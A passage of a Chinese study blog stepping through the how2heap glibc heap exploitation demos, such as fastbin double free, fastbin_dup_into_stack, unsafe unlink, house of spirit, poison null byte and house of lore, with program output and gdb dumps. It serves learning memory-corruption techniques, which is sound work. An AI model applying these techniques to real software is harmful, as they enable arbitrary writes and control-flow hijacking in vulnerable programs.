how2heap学习

first_fit

这个就是体验堆分配的策略,找到最合适的那个,这个uaf的漏洞利用提供了机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/learn/how2heap# ./first_fit 
This file doesn't demonstrate an attack, but shows the nature of glibc's allocator.
glibc uses a first-fit algorithm to select a free chunk.
If a chunk is free and large enough, malloc will select this chunk.
This can be exploited in a use-after-free situation.
Allocating 2 buffers. They can be large, don't have to be fastbin.
1st malloc(512): 0x5567377d6420
2nd malloc(256): 0x5567377d6630
we could continue mallocing here...
now let's put a string at a that we can read later "this is A!"
first allocation 0x5567377d6420 points to this is A!
Freeing the first one...
We don't need to free anything again. As long as we allocate less than 512, it will end up at 0x5567377d6420
So, let's allocate 500 bytes
3rd malloc(500): 0x5567377d6420
And put a different string here, "this is C!"
3rd allocation 0x5567377d6420 points to this is C!
first allocation 0x5567377d6420 points to this is C!
If we reuse the first allocation, it now holds the data from the third allocation.

fastbin_dup

通过演示滥用fastbin freelist来欺骗malloc返回已分配的堆指针。
其实就是fastbin的double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@kali:~/learn/how2heap# ./fastbin_dup 
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x5565d7d0b420
2nd malloc(8): 0x5565d7d0b440
3rd malloc(8): 0x5565d7d0b460
Freeing the first one...
If we free 0x5565d7d0b420 again, things will crash because 0x5565d7d0b420 is at the top of the free list.
So, instead, we'll free 0x5565d7d0b440.
Now, we can free 0x5565d7d0b420 again, since it's not the head of the free list.
Now the free list has [ 0x5565d7d0b420, 0x5565d7d0b440, 0x5565d7d0b420 ]. If we malloc 3 times, we'll get 0x5565d7d0b420 twice!
1st malloc(8): 0x5565d7d0b420
2nd malloc(8): 0x5565d7d0b440
3rd malloc(8): 0x5565d7d0b420

代码先free一次a,再free一次b,最后再free一次a,就把a给free了两次,最后在malloc三次,就将同一块内存分配了两次了

那么我们直接free一次a,再free一次a会怎么样呢

从下面可以看到直接退出了,可以看到检测到double free or corruption (fasttop): 0x000055f7d069e420

我们注意到fasttop这个单词,应该就是在fastbin的顶部检测到a被free了两次了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root@kali:~/learn/how2heap# ./fastbin_dup2
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0x55f7d069e420
2nd malloc(8): 0x55f7d069e440
3rd malloc(8): 0x55f7d069e460
Freeing the first one...
If we free 0x55f7d069e420 again, things will crash because 0x55f7d069e420 is at the top of the free list.
*** Error in `./fastbin_dup2': double free or corruption (fasttop): 0x000055f7d069e420 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f7f4ea4dbcb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f7f4ea53f96]
/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f7f4ea5478e]
./fastbin_dup2(+0x852)[0x55f7d0205852]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f7f4e9fd2b1]
./fastbin_dup2(+0x67a)[0x55f7d020567a]
======= Memory map: ========
55f7d0205000-55f7d0206000 r-xp 00000000 08:01 2103960 /root/learn/how2heap/fastbin_dup2
55f7d0405000-55f7d0406000 r--p 00000000 08:01 2103960 /root/learn/how2heap/fastbin_dup2
55f7d0406000-55f7d0407000 rw-p 00001000 08:01 2103960 /root/learn/how2heap/fastbin_dup2
55f7d069e000-55f7d06bf000 rw-p 00000000 00:00 0 [heap]
7f7f48000000-7f7f48021000 rw-p 00000000 00:00 0
7f7f48021000-7f7f4c000000 ---p 00000000 00:00 0
7f7f4e7c6000-7f7f4e7dc000 r-xp 00000000 08:01 1443787 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f7f4e7dc000-7f7f4e9db000 ---p 00016000 08:01 1443787 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f7f4e9db000-7f7f4e9dc000 r--p 00015000 08:01 1443787 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f7f4e9dc000-7f7f4e9dd000 rw-p 00016000 08:01 1443787 /lib/x86_64-linux-gnu/libgcc_s.so.1
7f7f4e9dd000-7f7f4eb72000 r-xp 00000000 08:01 1443750 /lib/x86_64-linux-gnu/libc-2.24.so
7f7f4eb72000-7f7f4ed71000 ---p 00195000 08:01 1443750 /lib/x86_64-linux-gnu/libc-2.24.so
7f7f4ed71000-7f7f4ed75000 r--p 00194000 08:01 1443750 /lib/x86_64-linux-gnu/libc-2.24.so
7f7f4ed75000-7f7f4ed77000 rw-p 00198000 08:01 1443750 /lib/x86_64-linux-gnu/libc-2.24.so
7f7f4ed77000-7f7f4ed7b000 rw-p 00000000 00:00 0
7f7f4ed7b000-7f7f4ed9e000 r-xp 00000000 08:01 1443722 /lib/x86_64-linux-gnu/ld-2.24.so
7f7f4ef79000-7f7f4ef7b000 rw-p 00000000 00:00 0
7f7f4ef9a000-7f7f4ef9e000 rw-p 00000000 00:00 0
7f7f4ef9e000-7f7f4ef9f000 r--p 00023000 08:01 1443722 /lib/x86_64-linux-gnu/ld-2.24.so
7f7f4ef9f000-7f7f4efa0000 rw-p 00024000 08:01 1443722 /lib/x86_64-linux-gnu/ld-2.24.so
7f7f4efa0000-7f7f4efa1000 rw-p 00000000 00:00 0
7fff98880000-7fff988a1000 rw-p 00000000 00:00 0 [stack]
7fff989d1000-7fff989d3000 r--p 00000000 00:00 0 [vvar]
7fff989d3000-7fff989d5000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
已放弃

fastbin_dup_into_stack

通过滥用fastbin freelist,欺骗malloc返回一个近乎任意的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/learn/how2heap# ./fastbin_dup_into_stack 
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff19d56580.
Allocating 3 buffers.
1st malloc(8): 0x55a0bfdda420
2nd malloc(8): 0x55a0bfdda440
3rd malloc(8): 0x55a0bfdda460
Freeing the first one...
If we free 0x55a0bfdda420 again, things will crash because 0x55a0bfdda420 is at the top of the free list.
So, instead, we'll free 0x55a0bfdda440.
Now, we can free 0x55a0bfdda420 again, since it's not the head of the free list.
Now the free list has [ 0x55a0bfdda420, 0x55a0bfdda440, 0x55a0bfdda420 ]. We'll now carry out our attack by modifying data at 0x55a0bfdda420.
1st malloc(8): 0x55a0bfdda420
2nd malloc(8): 0x55a0bfdda440
Now the free list has [ 0x55a0bfdda420 ].
Now, we have access to 0x55a0bfdda420 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x55a0bfdda420 to point right before the 0x20.
3rd malloc(8): 0x55a0bfdda420, putting the stack address on the free list
4th malloc(8): 0x7fff19d56580

可以看到最终分配返回的已经不是堆变量,而是一个栈的地址,那么我们就有可能去覆盖栈上的东西,比如最经典的返回地址

那么是怎么覆盖的呢,一开始free a b a的顺序构造出了下面这样的free list

[ 0x55a0bfdda420, 0x55a0bfdda440, 0x55a0bfdda420 ]

我们调试看看(由于多次调试地址有所改变,但左后的一个字节应该是不变的),我们看到了我们分配的堆,我们看到fd已经有值了,但是为什么头部仍是0x21,最低位是1(后来问别人fastbin的这个位永远是1)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
gdb-peda$ heap
Arena(s) found:
arena @ 0x7ffff7dd3b00
gdb-peda$ x /20gx 0x7ffff7dd3b00
0x7ffff7dd3b00 <main_arena>: 0x0000000000000000 0x0000555555757410
0x7ffff7dd3b10 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b20 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b30 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd3b40 <main_arena+64>: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /20gx 0x0000555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x0000555555757430 0x0000000000000000
0x555555757430: 0x0000000000000000 0x0000000000000021
0x555555757440: 0x0000555555757410 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000021
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000020b91
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000000 0x0000000000000000

现在list是这样的arena指向0x555555757410,0x555555757410指向0x555555757430,0x555555757430又指向0x555555757410这样,我们继续,其实这里构成了一个内循环了

首先malloc一次,arena已经指向0x0000555555757430了

1
2
gdb-peda$ x /2gx 0x7ffff7dd3b00
0x7ffff7dd3b00 <main_arena>: 0x0000000000000000 0x0000555555757430

思考一下:那么这里我们就可以看到这是将0x555555757410的fd写到这里来了,假如我们将0x555555757410的fd改了,那么就可以将我们需要的值写到arena的位置,之后再malloc,就返回这个地址,我们对这个地址就有写权限了(但一开始由于这个是free状态,所以我们无法改写,是实践截图如下:)

那接下来再malloc,main_arena这里又指向0x0000555555757410

1
2
3
4
5
6
7
8
9
10
gdb-peda$ x /2gx 0x7ffff7dd3b00
0x7ffff7dd3b00 <main_arena>: 0x0000000000000000 0x0000555555757410
gdb-peda$ x /20gx 0x0000555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x0000555555757430 0x0000000000000000
0x555555757430: 0x0000000000000000 0x0000000000000021
0x555555757440: 0x0000555555757410 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000021
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000020b91

那么正如作者所说

Now, we have access to 0x555555757420 while it remains at the head of the free list.

在之后将一个long long类型的局部变量赋值为0x20,这个用于伪造前一个chunk为空闲

1
stack_var = 0x20;

汇编看结果如下:

1
2
gdb-peda$ x /gx $rbp-0x28
0x7fffffffe4f8: 0x0000000000000020

之后将stack_var地址-8的地址覆盖第一个堆块(chunk)的fd

1
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

汇编如下:

1
2
  0x555555554965 <main+485>:	lea    rax,[rbp-0x28]
=> 0x555555554969 <main+489>: sub rax,0x8

之后可以看到第一个chunk的fd已经被覆盖了成了0x00007fffffffe4f0,这是栈上变量stack_var的向前偏移8个字节的地址

1
2
3
4
5
6
gdb-peda$ x /10gx 0x555555757410
0x555555757410: 0x0000000000000000 0x0000000000000021
0x555555757420: 0x00007fffffffe4f0 0x0000000000000000
0x555555757430: 0x0000000000000000 0x0000000000000021
0x555555757440: 0x0000555555757410 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000021

此时我们第3次malloc,0x00007fffffffe4f0已经写到main_arena上了

1
2
gdb-peda$ x /2gx 0x7ffff7dd3b00
0x7ffff7dd3b00 <main_arena>: 0x0000000000000000 0x00007fffffffe4f0

那么下次再malloc就直接从这0x00007fffffffe4f0头上取了

最终的分配就返回了0x00007fffffffe500,因为返回的是指向数据区的指针

1
2
3
4
gdb-peda$ x /6gx 0x7fffffffe4f0
0x7fffffffe4f0: 0x0000000000000000 0x0000000000000020
0x7fffffffe500: 0x0000555555757420 0x0000555555757460
0x7fffffffe510: 0x0000555555757440 0x0000555555757420

问题

  1. 我们能只在不malloc的情况下直接改写第一个chunk的fd吗?

这样会出现段错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/learn/how2heap# ./fastbin_dup_into_stack_q1 
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7ffc46138e78.
Allocating 3 buffers.
1st malloc(8): 0x55efef1c0420
2nd malloc(8): 0x55efef1c0440
3rd malloc(8): 0x55efef1c0460
Freeing the first one...
If we free 0x55efef1c0420 again, things will crash because 0x55efef1c0420 is at the top of the free list.
So, instead, we'll free 0x55efef1c0440.
Now, we can free 0x55efef1c0420 again, since it's not the head of the free list.
Now the free list has [ 0x55efef1c0420, 0x55efef1c0440, 0x55efef1c0420 ]. We'll now carry out our attack by modifying data at 0x55efef1c0420.
3rd malloc(8): 0x55efef1c0420, putting the stack address on the free list
段错误

调试的时候不知道为啥改得不彻底,看了下原来是mov DWORD PTR [rax],edx,是edx,可能

1
2
3
4
5
6
gdb-peda$ x /10gx 0x555555756410
0x555555756410: 0x0000000000000000 0x0000000000000021
0x555555756420: 0x00005555ffffe4f8 0x0000000000000000
0x555555756430: 0x0000000000000000 0x0000000000000021
0x555555756440: 0x0000555555756410 0x0000000000000000
0x555555756450: 0x0000000000000000 0x0000000000000021

原来d声明的时候就是unsigned long long *d = malloc(8);

后来我改a为unsigned long long,free完直接改也是可以的

  1. 如果不伪造0x20行吗

实践告诉你是不行的

1
*** Error in `/root/learn/how2heap/fastbin_dup_into_stack_q2': malloc(): memory corruption (fast): 0x00007fffffffe500 ***

因为fastbin申请的时候会检测这个堆块的大小是否是当前这条单向链表上的大小

unsafe_unlink

free触发的unlink,以获得任意的写能力。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Welcome to unsafe unlink 2.0!
Tested in Ubuntu 14.04/16.04 64bit.
This technique can be used when you have a pointer at a known location to a region you can call unlink on.
The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.
The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.

The global chunk0_ptr is at 0x55e76c62d050, pointing to 0x55e76d301420
The victim chunk we are going to corrupt is at 0x55e76d3014b0

We create a fake chunk inside chunk0.
We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.
We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.
With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False
Fake chunk fd: 0x55e76c62d038
Fake chunk bk: 0x55e76c62d040

We need to make sure the 'size' of our fake chunk matches the 'previous_size' of the next chunk (fd->prev_size)
With this setup we can pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))If x = chunk0_ptr[1] & (~ 0x7), that is x = *(chunk0_ptr + x).We just need to set the *(chunk0_ptr + x) = x, so we can pass the check1.Now the x = chunk0_ptr[1]&(~0x7) = 0, we should set the *(chunk0_ptr + 0) = 0, in other words we should do nothing2.Further more we set chunk0_ptr = 0x8 in 64-bits environment, then *(chunk0_ptr + 0x8) == chunk0_ptr[1], it's fine to pass3.Finally we can also set chunk0_ptr = x in 64-bits env, and set *(chunk0_ptr+x)=x,for example chunk_ptr0[1] = 0x20, chunk_ptr0[4] = 0x20Therefore, we set the 'size' of our fake chunk to the value of chunk0_ptr[-3]: 0x00000008
You can find the commitdiff of this check at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.
We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.
It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly
If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x90, however this is its new value: 0x80
We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.

Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.
You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.
chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.
Original value: Hello!~
New Value: BBBBAAAA 0m

2017年3月增加了个检测
https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30

1
2
3
4
+2017-03-17  Chris Evans  <scarybeasts@gmail.com>
+
+ * malloc/malloc.c (unlink): Add consistency check between size and
+ next->prev->size, to further harden against 1-byte overflows.
  1. 首先malloc size是0x80,避免释放后放到fasebins
  2. 申请两个chunk
  3. 将chunk0的0x20和0x28偏移伪造成fd和bk,使P->fd->bk,P->bk->fd指向自己
  4. 将chunk1的prev size覆盖为0x80,previous_in_use覆盖为0,那么free的时候找前一个chunk就指向我们伪造的chunk了,而且认为是free过了的,所以free chunk1就会触发unlink chunk0

unlink源码

https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344

free之前状态如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> x /50gx 0x555555757410
0x555555757410: 0x0000000000000000 0x0000000000000091
0x555555757420: 0x0000000000000000 0x0000000000000008
0x555555757430: 0x0000555555756038 0x0000555555756040
0x555555757440: 0x0000000000000000 0x0000000000000000
0x555555757450: 0x0000000000000000 0x0000000000000000
0x555555757460: 0x0000000000000000 0x0000000000000000
0x555555757470: 0x0000000000000000 0x0000000000000000
0x555555757480: 0x0000000000000000 0x0000000000000000
0x555555757490: 0x0000000000000000 0x0000000000000000
0x5555557574a0: 0x0000000000000080 0x0000000000000090
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x0000000000000000
0x5555557574f0: 0x0000000000000000 0x0000000000000000
0x555555757500: 0x0000000000000000 0x0000000000000000
0x555555757510: 0x0000000000000000 0x0000000000000000
0x555555757520: 0x0000000000000000 0x0000000000000000
0x555555757530: 0x0000000000000000 0x0000000000020ad1

简单unlink代码如下:

1
2
3
4
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;

那么指向chunk0的指针就会被改写为0x0000555555756038

1
2
pwndbg> p chunk0_ptr
$1 = (uint64_t *) 0x555555756038

我们再对chunk0进行写入就可能覆盖那边指针了

1
2
3
pwndbg> x /50gx 0x0000555555756038
0x555555756038: 0x0000000000000000 0x0000555555756040
0x555555756048 <completed>: 0x0000000000000000 0x0000555555756038

所以作者使用chunk0_ptr3 = (uint64_t) victim_string;来覆盖chunk0指针指向victim_string

之后便可以利用chunk0_ptr[0]修改victim_string的值了

house_of_spirit

释放一个伪fastbin块,以使malloc返回一个近乎任意的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/how2heap# ./house_of_spirit 
This file demonstrates the house of spirit attack.
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffd0a5e3328 and the second at 0x7ffd0a5e3358.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffd0a5e3328.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffd0a5e3328, which will be 0x7ffd0a5e3330!
malloc(0x30): 0x7ffd0a5e3330

由于是fastbin大小的chunk,所以PREV_INUSE是被忽略的,IS_MMAPPED跟NON_MAIN_ARENA有影响,设置为0即可

所以设置chunk的大小为0x40

下一个chunk的大小应该不用太在意

之后再free掉&fake_chunks2,那么fastbin的freeList上就会存储这&fake_chunks2,之后再malloc,就是返回这个&fake_chunks2地址了

poison_null_byte

溢出一个空字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
root@kali:~/learn/how2heap# ./poison_null_byte 
Welcome to poison null byte 2.0!
Tested in Ubuntu 14.04 64bit.
This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.
We allocate 0x100 bytes for 'a'.
a: 0x55884397e420
Since we want to overflow 'a', we need to know the 'real' size of 'a' (it may be more than 0x100 because of rounding): 0x108
b: 0x55884397e530
c: 0x55884397e740
In newer versions of glibc we will need to have our updated size inside b itself to pass the check 'chunksize(P) != prev_size (next_chunk(P))'
b.size: 0x211
b.size is: (0x200 + 0x10) | prev_in_use
We overflow 'a' with a single null byte into the metadata of 'b'
b.size: 0x200
c.prev_size is 0x210
We will pass the check since chunksize(P) == 0x200 == 0x200 == prev_size (next_chunk(P))
b1: 0x55884397e530
Now we malloc 'b1'. It will be placed where 'b' was. At this point c.prev_size should have been updated, but it was not: 210
Interestingly, the updated value of c.prev_size has been written 0x10 bytes before c.prev_size: f0
We malloc 'b2', our 'victim' chunk.
b2: 0x55884397e640
Current b2 content:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
Now we free 'b1' and 'c': this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
Finally, we allocate 'd', overlapping 'b2'.
d: 0x55884397e530
Now 'd' and 'b2' overlap.
New b2 content:
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Thanks to http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf for the clear explanation of this technique.

首先申请了三个chunk

a 0x100
b 0x200
c 0x100

之后在b+0x1f0偏移处设置0x200,以便绕过检测,使 chunksize(P) == prev_size (next_chunk(P))

因为空字节溢出后chunksize(P) 就变为0x200

那么之后free(b)就可以成功了

之后申请了两个chunk

b1 0x100
b2 0x80

这两个都会覆盖原来b的位置,并将b2的内容覆盖为0x80个B,以便之后看到效果

之后free(b1),这个没什么发生,那么下一步free(c)的时候,由于c的堆结构完全没变化

所以他认为前面的chunk是空的,前面的大小是0x210,所以就跟前面0x210大小的合并

原来chunk b的地方是top chunk了

那我们再malloc 0x300,就可以获取整个一大片的内存,进而可以任意控制b2的值了

也就把BBB覆盖为DDDD了

house_of_lore

欺骗malloc,通过滥用smallbin freelist来返回一个几乎任意的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Welcome to the House of Lore
This is a revisited version that bypass also the hardening check introduced by glibc malloc
This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23

Allocating the victim chunk
Allocated the first small chunk on the heap at 0x556f56d76420
stack_buffer_1 at 0x7fff28d6e1d0
stack_buffer_2 at 0x7fff28d6e1b0
Create a fake chunk on the stackSet the fwd pointer to the victim_chunk in order to bypass the check of small bin corruptedin second to the last malloc, which putting stack address on smallbin list
Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake chunk on stackAllocating another large chunk in order to avoid consolidating the top chunk withthe small one during the free()
Allocated the large chunk on the heap at 0x556f56d76490
Freeing the chunk 0x556f56d76420, it will be inserted in the unsorted bin

In the unsorted bin the victim's fwd and bk pointers are nil
victim->fwd: (nil)
victim->bk: (nil)

Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin
This means that the chunk 0x556f56d76420 will be inserted in front of the SmallBin
The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to 0x556f56d76880
The victim chunk has been sorted and its fwd and bk pointers updated
victim->fwd: 0x7f82610e8bb8
victim->bk: 0x7f82610e8bb8

Now emulating a vulnerability that can overwrite the victim->bk pointer
Now allocating a chunk with size equal to the first one freed
This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer
This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk
p4 = malloc(100)

The fwd pointer of stack_buffer_2 has changed after the last malloc to 0x7f82610e8bb8

p4 is 0x7fff28d6e1e0 and should be on the stack!

先申请一个0x100的chunk

之后在栈上伪造两个chunk

stack_buffer_1的fd指向那victim——0x100的chunk,bk指向stack_buffer_2,
而stack_buffer_2的fd指向stack_buffer_1

1
2
3
4
5
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}

因为这样可以绕过smallbin check

之后申请一个large chunk避免free的时候合并到top chunk去了

1
void *p5 = malloc(1000);

之后free掉 victim,就放到unsortbin list去了

1
free((void*)victim);

现在它的前向指针和后向指针都是null

之后申请了一个UnsortedBin和small bin都不能处理的大小

1
void *p2 = malloc(1200);

查找UnsortedBin的过程中,就把victim放回small bin了

之后我们改变victim的bk,再申请一个同样是0x100大小的chunk,那么就申请到了victim的位置,当然栈地址就写到了small bin list了,

最后我们再去申请一个0x100的chunk,返回的地址就在栈上了

之后作者给了一种利用的思路,就是直接通过返回的这个chunk指针,直接改写返回地址,从而绕过canary

overlapping_chunks1

堆块堆叠,就是两个或以上的堆重叠了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
This is a simple chunks overlapping problem

Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x558962a08420
p2=0x558962a08520
p3=0x558962a08620

Now let's free the chunk p2
The chunk p2 is now in the unsorted bin ready to serve possible
new malloc() of its size
Now let's simulate an overflow that can overwrite the size of the
chunk freed p2.
For a toy program, the value of the last 3 bits is unimportant; however, it is best to maintain the stability of the heap.
To achieve this stability we will mark the least signifigant bit as 1 (prev_inuse), to assure that p1 is not mistaken for a free chunk.
We are going to set the size of chunk p2 to to 385, which gives us
a region size of 376

Now let's allocate another chunk with a size equal to the data
size of the chunk p2 injected size
This malloc will be served from the previously freed chunk that
is parked in the unsorted bin which size has been modified by us

p4 has been allocated at 0x558962a08520 and ends at 0x558962a090e0
p3 starts at 0x558962a08620 and ends at 0x558962a088a0
p4 should overlap with p3, in this case p4 includes all p3.

Now everything copied inside chunk p4 can overwrites data on
chunk p3, and data written to chunk p3 can overwrite data
stored in the p4 chunk.

Let's run through an example. Right now, we have:
p4 = XkĄ
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333q

If we memset(p4, '4', 376), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q
p3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444q

And if we then memset(p3, '3', 80), we have:
p4 = 4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q
p3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444q

首先申请了3个chunk,大小分别为0x100-8,0x100-8,0x80-8 内容分别用1,2,3填充

之后free chunk p2,p2就到了unsorted bin

那么之后我们伪造p2的size为0x181,这个size刚好就覆盖到p3了

之后申请了一个0x180-8大小的chunk——p4,那么我们上面伪造的大小就刚好满足要求

那么这样的p4就可以任意覆盖p3,当然使用p3也可以部分覆盖p4

overlapping_chunks_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
This is a simple chunks overlapping problem
This is also referenced as Nonadjacent Free Chunk Consolidation Attack

Let's start to allocate 5 chunks on the heap:

chunk p1 from 0x55c53555f420 to 0x55c53555f808
chunk p2 from 0x55c53555f810 to 0x55c53555fbf8
chunk p3 from 0x55c53555fc00 to 0x55c53555ffe8
